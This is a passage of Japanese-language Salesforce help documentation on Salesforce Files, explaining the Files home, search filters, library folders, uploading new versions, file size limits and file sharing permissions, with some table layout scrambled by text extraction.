• Visualforce によ
るアップロー
ド時: 10 MB

関連トピック:

Salesforce Files の使用
Salesforce CRM Content の概要
ドキュメントホームページ

Salesforce Files
[ファイル] タブでファイルを整理してアクセスします。
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Salesforce Files の使用
Salesforce Filesを使用すると、ファイルの共有、ファイルに関するコラボレーション、ファイルの非公開での
保存、バージョンの更新の管理、重要なファイルのフォローができます。Files Connect を使用すると、Salesforce

からすぐに外部のファイルシステムに接続できます。
[ファイル] ホーム
[ファイル] ホームは、Salesforce でファイルを管理するための中心となる場所です。非公開で保存したすべて
のファイルの表示、共有しているファイルの表示、他のユーザとのファイルの共有ができます。
ファイルの検索
Salesforce の [Files] ホームにあるファイル固有の検索項目を使用して、探しているファイルを検索します。
ファイルリストの絞り込み
Salesforce のファイルにすばやくアクセスするには、[ファイル] ページの検索条件を使用します。
Lightning Experience のライブラリでのフォルダの作成
ライブラリファイルをいくつかのフォルダに整理して、必要なファイルをすばやく見つけます。
ファイルのアップロードおよび共有
ファイルを Salesforce にアップロードして他のユーザと共有します。
フィードの ファイル更新
ファイルをフォローすると、フィードでのファイル更新の表示、ファイルのバージョン履歴の参照、おす
すめファイルの取得を行います。
ファイルのプレビューおよび詳細
ファイルの詳細を参照、編集し、ファイルについてレポートします。
Salesforce Files Sync

ファイルの詳細を参照、編集し、ファイルについてレポートします。

Salesforce Files の使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Salesforce Filesを使用すると、ファイルの共有、ファイルに関するコラボレーショ
ン、ファイルの非公開での保存、バージョンの更新の管理、重要なファイルの
フォローができます。Files Connect を使用すると、Salesforce からすぐに外部のファ
イルシステムに接続できます。
Salesforce では、次のような場合にファイルを操作します。
• Chatter フィードにファイルを投稿して、同僚とコラボレーションする。
• 取引先、ケース、リードなどのレコードにファイルを直接追加して、必要な

場所で情報を維持する。
• セキュアな Salesforce クラウドで顧客とファイルを共有する。
• Files Connect を使用して外部のファイルシステムに接続する。
• ローカルドライブと Salesforce Classic 間でファイルを同期する。
• 標準およびカスタムのファイルレポートを実行し、ユーザがファイルをどの

ように操作しているかを把握する。
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Microsoft® PowerPoint のプレゼンテーションや Excel スプレッドシートから、Adobe® PDF や画像ファイルまで、あ
らゆるファイル形式をサポートします。音声ファイルと動画ファイルのアップロードやダウンロードは可能で
すが、解析またはプレビューはできません。

メモ:  Internet Explorer 11 では、[プレビュー]オプションにより、ファイルの詳細ページにリダイレクトされ
ます。

Salesforce でファイルを操作するときには、次の制限に留意してください。

制限機能

ファイルサイズ • Web インターフェースによるアップロード時: 2 GB

• Salesforce Files Syncデスクトップクライアントによる
アップロード時: 2 GB (またはプロキシ使用時は 500
MB)

• モバイルデバイスによるアップロード時: 100 MB

2,048 バージョンファイルあたりのバージョンの最大数

ユーザは最大 10,000 個のファイルを同期できます。同期済みファイルおよびフォルダの最大数

1,000 ユーザ同じファイルを同時に同期できるユーザの最大数

メモ:

• Salesforceのさまざまなファイルツールとソリューションについての詳細は、「ファイル、Salesforce CRM

Content、Salesforce ナレッジ、ドキュメント、添付ファイルの違い」を参照してください。
• ファイルに対して誰がどのような操作を実行できるかについての詳細は、「私のファイルを参照でき

るユーザは?」を参照してください。
• [同期済み] 条件など、ファイル同期機能は、Salesforce Files Syncがユーザとその組織に対して設定されて

いる場合にのみ使用できます。Files Sync は Salesforce Classic でのみ使用できます。
• Google Docs や Microsoft® SharePoint®などの外部リポジトリからのファイルは、組織で Salesforce Files Connect

が設定され、ユーザに対して有効化されている場合にのみ使用できます。
• Chatter フィード、グループ、およびファイルをフォローする機能は、Chatter が有効になっている組織

でのみ使用できます。
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• 組織でプロファイルベースの Chatterロールアウトが使用されている場合、ユーザはファイルに対して
有効な Chatter 権限を利用可能にする必要があります。

関連トピック:

ファイルの詳細の表示
私のファイルを参照できるユーザは?

ファイルのアクセス権の変更
ファイルとフォルダの同期
新しいバージョンのファイルのアップロード
投稿またはコメントへのファイルの添付
ファイルのフォロー

[ファイル] ホーム

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

[ファイル] ホームは、Salesforce でファイルを管理するための中心となる場所で
す。非公開で保存したすべてのファイルの表示、共有しているファイルの表示、
他のユーザとのファイルの共有ができます。
[ファイル] ホームから、次の操作を実行できます。
• 自分が所有するまたはアクセス権を持つすべてのファイルを参照し、ファイ

ルのリストをフィルタする。
• ファイルを検索する。フィルタを使用し、[ファイル] の検索ボックスか、ペー

ジ上部にある検索ボックスに語句を入力します。
• 非公開ファイルをアップロード、またはファイルをアップロードして人やグ

ループと共有、またはファイルリンク経由で共有する。
• ファイルをダウンロードせずにプレビューする。
• Chatterフィードでファイルに関する更新をフォローし受信する。フォローし

ているファイルの横の をクリックすると、ファイルに関する更新の受信
を停止できます (Chatter が必要です)。

• をクリックして、ダウンロード、新しいバージョンのアップロード、他の人やグループとの共有、リン
クによる共有、および共有の設定を参照する。

• 「ファイルを同期」権限がある場合、Salesforce Files Sync フォルダの同期済みファイルにアクセスする。
• Files Connect が組織で有効になっている場合、外部データソースに保存されているファイルを Salesforce から

直接参照、検索、および共有する。
• ファイルの詳細ページを参照するために、ファイル名をクリックする。
• ファイル所有者のプロファイルを参照するために、ファイル所有者の名前をクリックする。
[ファイル] ホームでは、ファイルの操作と管理のための強力なツールセットを利用できます。
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• 表示するファイルのリストを調整するには、ファイルリストを絞り込みます (1)。
• 左のナビゲーションパネルの [ライブラリ] から ライブラリのファイルに アクセスします。
• 検索 (2) を行って、必要なファイルを見つけます。Salesforce Classic では、ファイルリストを絞り込むと検索

範囲も絞り込まれます。アクセス権のあるすべてのファイルを検索するには、[最近] 条件を選択します。
• ファイルを Salesforce にアップロードします (3)。
• Microsoft® PowerPoint のプレゼンテーションや Excel スプレッドシートから、Adobe® PDF や画像ファイルまで、

あらゆるファイル形式をサポートします。音声ファイルと動画ファイルのアップロードやダウンロードは
可能ですが、解析またはプレビューはできません。

• ファイルのプレビュー、ダウロード、共有、名前変更をファイルリストから直接行います (4)。
• 組織の Files Connect が有効な場合、左のナビゲーションパネルに外部ファイルソースのセクションが表示さ

れます (5)。
ファイルは、次の場合に [ファイル] リストに自動的に追加されます。
• 自分がファイルをアップロードした場合。
• 自分がファイルをレコードに添付した場合。
• 自分または他の誰かが Chatter フィードまたはコメントにファイルを添付した場合。
• Salesforce Files Sync フォルダのファイルを同期した場合。
• 自分以外の誰かが [共有] ダイアログボックスを使用してファイルを非公開で共有した場合。
• Salesforce CRM Content ライブラリにファイルをアップロードした場合。
• 他の誰かが、自分がメンバーになっているライブラリにファイルをアップロードした場合。
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• 自分または他の誰かが、コンテンツパックを作成したか、Web リンクを Salesforce CRM Content にアップロー
ドした場合。参照できるのは、自分がアクセス権を持つコンテンツパックと Web リンクから得たファイル
のみです。

関連トピック:

ファイルリストの絞り込み
私のファイルを参照できるユーザは?

ファイルの検索

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Salesforce の[Files]ホームにあるファイル固有の検索項目を使用して、探している
ファイルを検索します。
[Files]ホームには、所有するファイルやアクセス権のあるファイルが表示されま
す (フィードに投稿したファイルを含む)。デフォルトで最近参照した 25 ファイ
ルが一覧表示されます。特定のファイルグループを表示および検索するには、
サイドバーで特定のフィルタをクリックします。検索結果は、入力した語に基
づいてフィルタされます。

メモ: 「ファイルを同期」権限を持つユーザには、[すべてのファイル]、[私
のファイル]、または [私のグループ内のファイル]検索条件は表示されませ
ん。「ファイルを同期」権限のないユーザには、[同期済み] 検索条件は表
示されません。

• すべてのファイル — 次のファイルを含む、所有しているか、アクセス権を
持つすべてのファイルが表示されます。
– 自分と共有しているファイル
– 自分がフォローしているファイル
– Chatter グループ内のファイル
– ライブラリ内のファイル
– 他のユーザにより Chatter  フィードに添付されるファイル。自分がメンバーになっているすべての公開

グループおよび非公開グループに添付されるファイルを含みます。自分がメンバーではない非公開グ
ループに添付されるファイルにはアクセスできません。

この検索条件は、Salesforce Classic でのみ使用できます。
• 最近 — 最近参照したファイルが表示されます。
• 私のファイル — 自分が所有、共有、またはフォローしているすべてのファイル。

– 自分が所有者 — 次のファイル。
• ホームまたは [ファイル] ページにファイルをアップロードしたファイル。これらのファイルは非公

開であり、誰とも共有されませんが、表示、共有、Chatter フィードへの添付を行うことができます。
• コンピュータから Chatter フィードに添付したファイル。
• Salesforce Files Sync フォルダを使用して同期したファイル。
• 自分がメンバーになっている Salesforce CRM Content ライブラリおよび自分の非公開ライブラリにアッ

プロードしたファイル。
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– 自分と共有 — 自分と非公開で共有しているファイルまたはプロファイルへの公開投稿で共有している
すべてのファイル。

– フォロー中 — 自分がフォローしているすべてのファイル。(Chatter が必要)

• 私のグループ内のファイル — 自分と他の人が自分がメンバーになっているグループと共有しているすべて
のファイル。最後にアクセスした 5 グループが一覧表示されます。

• 私のライブラリ内のファイル — 自分がメンバーになっているライブラリに自分と他のユーザがアップロー
ドしたすべてのファイルと、自分の非公開ライブラリに自分がアップロードしたすべてのファイル。自分
の非公開ライブラリも含めて、自分がメンバーになっている最初の 5 ライブラリが一覧表示されます。自
分が 5 つを超えるライブラリのメンバーになっている場合、[さらに表示]をクリックすると、すべて表示さ
れます。

• 同期済み — Salesforce Files Syncフォルダ内で同期されているすべてのファイル。この条件を使用できるのは、
「ファイルを同期」権限を持つユーザのみです。

• 外部ファイル — Files Connect 外部データソース内のアクセス権を持つすべてのファイル。検索は選択した外
部データソースに限定されます。

Salesforce Classic で [ファイル] 検索を使用してファイルを検索する手順は、次のとおりです。
1. 必要に応じて、サイドバーにある条件をクリックし、検索対象を特定のファイルセットに限定します。
2. [ファイル] タブの検索項目に検索語を入力します。検索は、ファイル名、説明、所有者、種類を基準に行

うか、ファイルのテキスト内で行うことができます。
3. [検索] をクリックすると、検索語に基づいてフィルタされたすべての関連ファイルが表示されます。また

は、 をクリックすると、検索語がクリアされます。
Salesforce Classic および Lightning Experience では、ヘッダーの検索項目からファイルを検索できます。プロファイ
ル、レコード、グループなどの特定のChatterフィードに投稿されたファイルを検索するには、フィード検索を
使用します。

メモ: フィード検索により、ファイルの一致や、(コメントではなく) 投稿で共有されたリンク名が返され
ます。

[ファイル] リストには次は含まれません。
• [ドキュメント] タブのドキュメント。
• [メモと添付ファイル] 関連リストの添付ファイル。
検索では、複数のファイルの種類がサポートされ、ファイルサイズに制限があります。ファイルが最大サイズ
を超える場合、そのファイル内のテキストは検索されませんが、ファイルの名前、説明、種類、および所有者
は検索されます。

検索の最大ファイルサイズファイル拡張子ファイルの種類

5 MB.htm、.html、.xhtmlHTML

25 MB.pdfPDF

25 MB.ppt、.pptx、.pptmPPT

5 MB.rtfRTF

5 MB.c、.cpp、.css、.csv、.ini、.java、.log、.sql、.txtテキスト
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検索の最大ファイルサイズファイル拡張子ファイルの種類

25 MB.doc、.docx、.docmWord

5 MB.xls、.xlsx、.xlsmXLS

5 MB.xmlXML

関連トピック:

ファイルのフォロー
ファイルリストの絞り込み

ファイルリストの絞り込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Salesforce のファイルにすばやくアクセスするには、[ファイル]ページの検索条件
を使用します。
[ファイル] ページには、アクセス権を持つすべてのファイルが表示されます。検
索条件を使用することで、これらのファイルからさまざまなグループを表示し、
探しているものをすばやく見つけることができます。

説明フィルタ名

所有しているか、アクセス権を持つす
べてのファイルが表示されます。

すべてのファイル

最近参照したファイルが表示されま
す。

最近

所有しているファイルのみが表示され
ます。

自分が所有者

非公開で共有しているファイルまたは
プロファイルへの公開投稿で共有して
いるファイルのみが表示されます。

自分と共有されている

Chatter で自分がフォローしているファ
イルのみが表示されます。このフィル

フォローしている

タは、Chatter を使用する組織でのみ使
用できます。

Salesforce Files Sync フォルダ内で同期さ
れているすべてのファイル。この条件

同期済み

を使用できるのは、「ファイルを同
期」権限を持つユーザのみです。

自分がメンバーであるライブラリに他
のユーザがアップロードしたファイル

ライブラリ

と、自分が非公開ライブラリにアップ
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説明フィルタ名

ロードしたすべてのファイルが、ライブラリ名別にグ
ループ化されて表示されます。

関連トピック:

ファイルが共有されている場所の表示

Lightning Experience のライブラリでのフォルダの作成

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ライブラリファイルをいくつかのフォルダに整理して、必要なファイルをすば
やく見つけます。
ライブラリマネージャは Lightning Experience のライブラリでフォルダの作成、名
前変更、削除ができます。フォルダは、ライブラリへのアクセス権を持つすべ
てのユーザに表示されます。[新規フォルダ] ボタンを使用して、ライブラリに
フォルダを追加したり、フォルダ内にサブフォルダを作成したりします。複数
のレベルのサブフォルダを作成できます。行レベルの [移動] アクションを使用
すると、ライブラリ内のフォルダおよびサブフォルダ間でファイルを移動でき
ます。

Lightning Experience でフォルダを作成し、すでにライブラリにあるファイルを整理します。ライブラリを作成
し、複数のライブラリでファイルを共有するには、Salesforce Classicに切り替えます。Salesforce Classic またはモバ
イルでライブラリを表示する場合、Lightning Experience で作成したフォルダ構造を表示できます。SOAP API を使
用してライブラリフォルダの作成、名前変更、削除を行うこともできます。

メモ:

• [ファイルをアップロード] ボタンはライブラリ内で使用できます。ただし、ここでアップロードした
ファイルは、ライブラリ内ではなく [自分が所有者] 検索条件に表示されます。
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• ファイルをライブラリに追加するには、Salesforce Classicに切り替えます。ライブラリから [寄稿]を選択
してファイルを追加します。または、ファイルの行レベルアクションやファイルの詳細ページから[ラ
イブラリと共有] を選択します。

ライブラリフォルダの使用開始
• Lightning Experience が有効になっている組織では、新規作成するどのライブラリでもフォルダがデフォルト

で有効になっています。既存のライブラリではフォルダはデフォルトで無効になっています。ライブラリ
内のフォルダを有効にするには、[新規フォルダ] ボタンをクリックします。ライブラリのサイズによって
は、フォルダの有効化にしばらく時間がかかることがあります。

メモ: ライブラリ内のフォルダを有効にするには、「Salesforce CRM Content の管理」権限が必要です。
ユーザインターフェースからライブラリを有効にするには、ライブラリのメンバーであり、ライブラ
リ管理者権限を持っていることを確認してください。SOAP API を使用して、ライブラリ内のフォルダ
を有効にすることもできます。

• Lightning Experienceが有効になっていない組織では、新しいライブラリでフォルダがデフォルトで無効になっ
ています。

• 5,000 を超えるファイルがあるライブラリでは、フォルダを有効にすることはできません。
「ライブラリの管理」権限を持っていれば、フォルダの作成、名前変更、削除ができます。アクセス権のある
ライブラリ内のすべてのフォルダを表示でき、ライブラリ内のフォルダ間でファイルを移動できます。

Salesforce ClassicLightning Experience

ライブラリフォルダの作成、名前
変更、削除

ライブラリのファイルのフォルダ
への移動

フォルダの表示

ライブラリの表示

ファイルのライブラリへの追加

ライブラリの作成、編集、削除

ライブラリメンバーシップの管理

関連トピック:

ライブラリ権限の作成

ファイルのアップロードおよび共有
ファイルを Salesforce にアップロードして他のユーザと共有します。
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アップロードとファイル共有の概要
[ファイル] ホーム、フィード、および商談またはその他のレコードでファイルをアップロードして共有し
ます。
新しいバージョンのファイルのアップロード
新しいバージョンのファイルをアップロードして古いバージョンを置き換えます。
Salesforce のファイルサイズ制限
Salesforce のファイルの最大ファイルサイズ制限を行います。
複数のファイルのアップロードをサポートするブラウザ
私のファイルを参照できるユーザは?

Salesforce の自分のファイルは、自分だけが参照することも、非公開で共有することも、会社全体に表示す
ることもできます。ファイルの共有設定を指定する方法と設定を変更する方法について説明します。
ファイルのアクセス権の変更
自分が所有するファイルを参照および変更できるユーザを指定します。
ファイルの非公開
自分が所有する共有ファイルを非公開にして、その共有ファイルへのアクセスを制限できます。
グループとのファイルの共有
Chatter のファイルを公開または非公開グループと共有し、そのグループのメンバーが各自のフィードから
ファイルを表示およびダウンロードできるようにします。
Salesforce Classic のユーザとのファイルの共有
ファイルをユーザと非公開で共有し、ファイルの共有先であるユーザごとに[閲覧者]または[コラボレータ]

アクセス権を設定します。
Salesforce Classic のライブラリとのファイルの共有
Salesforce Files の機能を使用しながら、ファイルをライブラリと共有して、コンテンツライブラリの権限設定
機能を活用します。
レコードへのファイルの添付
レコードへのファイルの添付は、Salesforce でコラボレーションしたり、情報を常に整理したりする強力な
方法です。商談、取引先、またはケースに関する情報を必要な場所で保持できます。レコードへのアクセ
ス権があるユーザと関連ドキュメントを共有します。
他のユーザによるファイルの共有および共有解除の禁止
自分が所有しているファイルを他のユーザが共有および共有解除できないようにします。これは、既存の
共有には影響しません。
Lightning Experience のユーザとのファイルの共有
ファイルをユーザと非公開で共有し、ファイルの共有先であるユーザごとに[閲覧者]または[コラボレータ]

アクセス権を設定します。
リンクを使用したファイルの共有
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アップロードとファイル共有の概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

[ファイル] ホーム、フィード、および商談またはその他のレコードでファイルを
アップロードして共有します。
次の場所からファイルをアップロードおよび共有します。
• [ファイル] ホーム
• Chatter フィード投稿またはコメント項目
• グループ、ユーザプロファイル、商談、その他のレコードでの [ファイル]

カードまたはリスト
Microsoft® PowerPoint のプレゼンテーションや Excel スプレッドシートから、Adobe®

PDF や画像ファイルまで、あらゆるファイル形式をサポートします。音声ファイ
ルと動画ファイルのアップロードやダウンロードは可能ですが、解析またはプ
レビューはできません。デフォルトで最大 2 GB のファイルをアップロードでき
ます。ただし、ファイルの最大サイズは所属する組織によって決まります。

[ファイル] ホーム
ファイルをアップロードすると、[ファイル]ホームの [自分が所有者]フィルタに追加され、自分が所有者にな
ります。[ファイル] ホームでアップロードしたファイルは、自動的に非公開としてアップロードされます。
次の方法でもファイルを Salesforce に追加できます。
• Chatter フィードにファイルを添付する。
• Salesforce CRM Content の非公開ライブラリおよび共有ライブラリにファイルをアップロードする。
• Salesforce Files Sync フォルダのファイルを同期する。
• Salesforce CRM Content でコンテンツパックを作成するか、Web リンクをアップロードする。
[ファイル] リストには次は含まれません。
• [ドキュメント] タブのドキュメント。
• [メモと添付ファイル] 関連リストの添付ファイル。

メモ: ファイル拡張子のないファイルまたはファイル拡張子が認識できないファイルは [種別] 列に「不
明」と表示されます。

非公開ファイル
非公開ファイルは、他のユーザと共有しない非公開としてアップロードされ、自分がファイル所有者になりま
す。ファイル所有者および「すべてのデータの参照」権限を持つユーザのみが、非公開ファイルを表示できま
す。非公開ファイルには、[ファイル] リストとファイルの詳細ページに錠 アイコンが表示されます。Chatter

と [ファイル] リストでは非公開ファイルを検索できます。

非公開ファイルの共有
非公開ファイルは、ファイル詳細ページから、あるいはChatterフィード、プロファイル、レコード、またはグ
ループに添付して、共有できます。リンクを使用してファイルを共有することもできます。非公開ファイルを
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共有すると、非公開ではなくなります。ファイルに対して誰がどのような操作を実行できるかについての詳細
は、「私のファイルを参照できるユーザは?」を参照してください。

関連トピック:

Salesforce のファイルサイズ制限
他のユーザによるファイルの共有および共有解除の禁止

新しいバージョンのファイルのアップロード

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

新しいバージョンのファイルをアップロードして古いバージョンを置き換えま
す。
新規バージョンをアップロードすると、以前のバージョンはすべて新しいバー
ジョンに置き換えられますが、ファイル詳細ページの[すべてのバージョンを表
示]をクリックすると前のバージョンを引き続き使用できます。元のファイルが
フィード投稿を使用してアップロードされた場合は、[新しいバージョンをアッ
プロード] を使用して古いバージョンを置き換えます。
1. 次のいずれかの場所から [新しいバージョンをアップロード]をクリックしま

す。
• ファイル詳細ページ
• ファイルプレビューア
• [ファイル] ページ (ファイルのアクション矢印を使用)

• フィードのファイル上 ([追加アクション] 矢印を使用、Salesforce Classic のみで使用可能)

2. [ファイルを選択] をクリックしてコンピュータのファイルを選択します。
この時点で、[変更箇所] 項目の変更内容に関するメモを入力するオプションがあります。この情報は、
[バージョン履歴] リストに表示されます。

3. [新しいバージョンをアップロード] (Salesforce Classic) または [アップロードを開始] (Lightning Experience) をクリッ
クします。

ファイル詳細ページおよび以前の投稿には、更新されたバージョンが表示されます。

メモ:

• 新しいバージョンをアップロードできるのは、ファイル所有者、コラボレータ、および「すべての
データの編集」権限を持つユーザのみです。ファイルに対して誰がどのような操作を実行できるかに
ついての詳細は、「私のファイルを参照できるユーザは?」を参照してください。

• コラボレータが新しいバージョンをアップロードした場合、ファイル所有者は変更されません。
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• Salesforce CRM Content のファイルの場合、ファイルの詳細ページから新しいバージョンをアップロード
することはできません。[コンテンツ詳細ページに移動] をクリックすると、Salesforce CRM Content に新
しいバージョンをアップロードできます。(Salesforce Classic のみで使用可能)

関連トピック:

ファイルバージョン履歴の表示
ファイルのフォロー

Salesforce のファイルサイズ制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce のファイルの最大ファイルサイズ制限を行います。

詳細機能

[添付ファイル] 関連リスト • 添付ファイル: 25 MB

• フィードの添付ファイル: 2 GB

[ドキュメント] タブ • 5 MB

• カスタムアプリケーションロゴ: 20
KB

Salesforce CRM Content • 2 GB

• Chatter REST API によるアップロード
時: 2 GB (ヘッダーを含む)

• REST API によるアップロード時: 2 GB

(ヘッダーを含む)

• SOAP API によるアップロード時: 38
MB

• Bulk APIによるアップロード時: 10 MB

• Google ドキュメント: 10 MB

• Visualforce によるアップロード時: 10
MB

2 GBSalesforce ファイル

添付ファイル: 5 MBSalesforce ナレッジ

添付ファイルのサイズ制限は、関連リストに直接添付されている場合は 25 MB です。
メールメッセージ (添付ファイルを含む) のサイズ制限は 25 MB です。

関連トピック:

アップロードとファイル共有の概要
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複数のファイルのアップロードをサポートするブラウザ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

これらのブラウザでは、[ファイル] タブ、グループの [共有先のファイル] リス
ト、またはプロファイルの [所有ファイル] リストから複数のファイルをアップ
ロード (ページ3780)できます。複数ファイルのアップロードをサポートしていな
いブラウザを使用している場合は、1 個ずつアップロードできます。

その他の要件ブラウザ

最新の安定したバージョンである必要があります。Google® Chrome™

最新の安定したバージョンである必要があります。Mozilla® Firefox®

Flash 11 以降がインストールされている必要がありま
す。

Internet® Explorer® 9

バージョン 5.1.xMac 版 Apple® Safari®

私のファイルを参照できるユーザは?

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Salesforce の自分のファイルは、自分だけが参照することも、非公開で共有する
ことも、会社全体に表示することもできます。ファイルの共有設定を指定する
方法と設定を変更する方法について説明します。
次の表は、ファイルの共有設定を示しています。これは、ファイルの共有方法
によって異なります。共有設定およびアイコンは、ファイルの詳細ページ上お
よびファイル詳細ページの [共有先] リストに表示されます。

ファイルにこの設定が適用
された場合

定義共有設定

次のような場合、ファイル
は非公開です。

このファイルは非公開で
す。所有者以外の誰とも共
有されていません。ファイ
ル所有者および「すべての

非公開

• [ファイル] ホームで
アップロードする

データの編集」権限を持つ
• 非公開ライブラリに公

開するユーザが、このファイルを
検索および表示できます。

• Salesforce Files Syncフォル
ダのファイルを同期す
る

ただし、ファイルが非公開
ライブラリにある場合は、
ファイル所有者のみがその

• すべてのユーザとの共
有を停止する (非公開に
する)

ファイルにアクセスできま
す。

• ファイルを含む投稿が
削除され、ファイルが
誰とも共有されていな
い
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ファイルにこの設定が適用された場
合

定義共有設定

次の場合、ファイルは非公開共有さ
れています。

ファイルは、特定のユーザまたはグ
ループと、あるいはリンクを使用し
てのみ共有されています。会社のす

非公開共有

• 特定のユーザまたは非公開グルー
プのみと共有されているべてのユーザが利用できるわけでは

ありません。このファイルを検索お
• 非公開グループに投稿されているよび表示できるのは、ファイル所有
• リンクを使用して共有されている者、「すべてのデータの編集」また
• レコードのフィードに投稿されて

いる
は「すべてのデータの参照」権限を
持つユーザ、および特定のファイル
閲覧者のみです。 • 共有ライブラリに公開されている

ファイルが会社で共有されるのは、
そのファイルが、すべてのユーザが

会社のすべてのユーザが、このファ
イルを検索および表示できます。

あなたの会社

参照できるフィード、プロファイ
ル、レコード、公開グループに投稿
された場合です。

次の表は、ファイル権限によってファイルに実行できるアクションを示しています。

ファイル閲覧者ファイルコラボレータファイル所有者アクション

はいはいはい参照またはプレビュー

はいはいはいダウンロード

はいはいはい共有

はいはいはい投稿へのファイルの添
付

はいはいはいファイルの同期

はいはい新しいバージョンを
アップロード

はいはい詳細の編集

はいはい権限の変更

はいファイルの非公開

はいアクセスの制限

はい削除
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メモ:

• [アクセス権限なし] は、このファイルが共有されている社内ユーザのみがファイルを検索または参照
できることを意味します。ファイルが非公開グループと共有されている場合、グループのメンバーの
みがファイルを検索または参照できます。

• 「すべてのデータの編集」権限を持つユーザは、自分が所有していないファイルの表示、プレビュー、
ダウンロード、共有、添付、非公開、アクセス制限、編集、新規バージョンのアップロード、削除が
できます。ただし、ファイルが非公開ライブラリにある場合は、ファイルの所有者のみがそのファイ
ルにアクセスできます。

• 「すべてのデータの参照」権限を持つユーザは、所有していないファイルを表示およびプレビューで
きます。ただし、ファイルが非公開ライブラリにある場合は、ファイルの所有者のみがそのファイル
にアクセスできます。

• ファイルを同期するには、「ファイルを同期」権限が必要です。
• グループ (グループメンバーを含む) およびレコードには、それぞれのフィードに投稿されたファイル

の閲覧者権限があります。
• ライブラリと共有するファイルへの権限は、そのライブラリによって異なります。

関連トピック:

ファイルの非公開
ファイルが共有されている場所の表示
他のユーザによるファイルの共有および共有解除の禁止

ファイルのアクセス権の変更

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

自分が所有するファイルを参照および変更できるユーザを指定します。
ファイル所有者とコラボレータは、人およびグループのファイル権限を閲覧者
からコラボレータへ、またはコラボレータから閲覧者へ変更できます。会社と
共有するファイルのファイル権限を閲覧者、コラボレータ、アクセス権限なし
に変更することもできます。
1. ファイル詳細ページで、[ファイルを共有] > [共有設定] をクリックします。
2. アクセス権を変更するユーザまたはグループを見つけます。または、[社内

の Chatter ユーザ] のアクセス権を変更します。
3. [閲覧者]、[コラボレータ]、[アクセス権限なし] (自分の会社の) を選択します。

または、レコードで共有しているファイル (Salesforce Classicのみ) では、[レコー
ドごとに設定] に変更します。変更はすぐに反映されます。
• [閲覧者] はファイルを表示、ダウンロード、共有できます。
• [コラボレータ]はファイルの表示、ダウンロード、共有、権限の変更、編集、および新しいバージョン

のアップロードを行うことができます。
• ライブラリのファイルの[ライブラリごとに設定]は、ファイルへのアクセス権はライブラリへのアクセ

ス権に従うという意味です。この設定を切り替えることはできません。
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• レコードに添付されたファイルの[レコードごとに設定]は、ファイルへのアクセス権はレコードへのア
クセス権に従うという意味です。レコードに対する参照・更新アクセス権があるユーザには、ファイル
に対する[コラボレータ]アクセス権があります。レコードに対する参照のみアクセス権があるユーザに
は、ファイルに対する [閲覧者] アクセス権があります。この設定は Salesforce Classic でのみ切り替えるこ
とができます。

• [アクセス権限なし]は、このファイルが共有されている社内ユーザのみがファイルを検索または参照で
きることを意味します。ファイルが非公開グループと共有されている場合、グループのメンバーのみが
ファイルを検索または参照できます。

4. [閉じる] をクリックします。

メモ:

• ファイルが会社で共有されるのは、そのファイルが、すべてのユーザが参照できるフィード、プロ
ファイル、レコード、公開グループに投稿された場合です。デフォルトで、[社内の Chatter ユー
ザ]に閲覧者権限が付与されます。閲覧者またはコラボレータからアクセス権なしに権限を変更する
場合は、会社および公開グループとの共有を削除します。

• 他のユーザとファイルを共有すると、デフォルトでそれらのユーザに [コラボレータ]アクセス権が付
与されます。グループとファイルを共有すると、デフォルトでグループのメンバーに [閲覧者] アク
セス権が付与されます。最初にファイルを共有するときに、デフォルトのアクセス権を変更できま
す。ファイル所有者およびコラボレータは、ファイルを共有した後でもアクセス権を変更できます。

• ファイルリンク受信者が実行できるのは、ファイルの表示とダウンロードのみです。コラボレータに
はなれません。

関連トピック:

私のファイルを参照できるユーザは?

ファイルの非公開
他のユーザによるファイルの共有および共有解除の禁止

ファイルの非公開
自分が所有する共有ファイルを非公開にして、その共有ファイルへのアクセスを制限できます。

使用可能なエディション: Salesforce Classic

使用可能なエディション: Group Edition、Enterprise Edition、Professional Edition、Performance Edition、Unlimited

Edition、Contact Manager Edition、および Developer Edition

所有するファイルの共有を停止するか「すべてのデータの編集」権限を付与するには、ファイルとファイルリ
ンクを非公開 ( ) にします。
1. ファイル詳細ページから、 [ファイルを共有] > [共有設定] をクリックするか、[共有先] リストで [すべて

表示] をクリックします。
2. [共有設定] ダイアログボックスで [非公開] をクリックします (Salesforce CRM Content ライブラリで作成された

ファイルの場合は、[アクセス制限] をクリックします)。
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3. 確認ダイアログボックスで、[非公開] (または [アクセス制限]) をクリックします。
ファイルを非公開にすると、そのファイルは、添付されている投稿および共有されているすべての場所から削
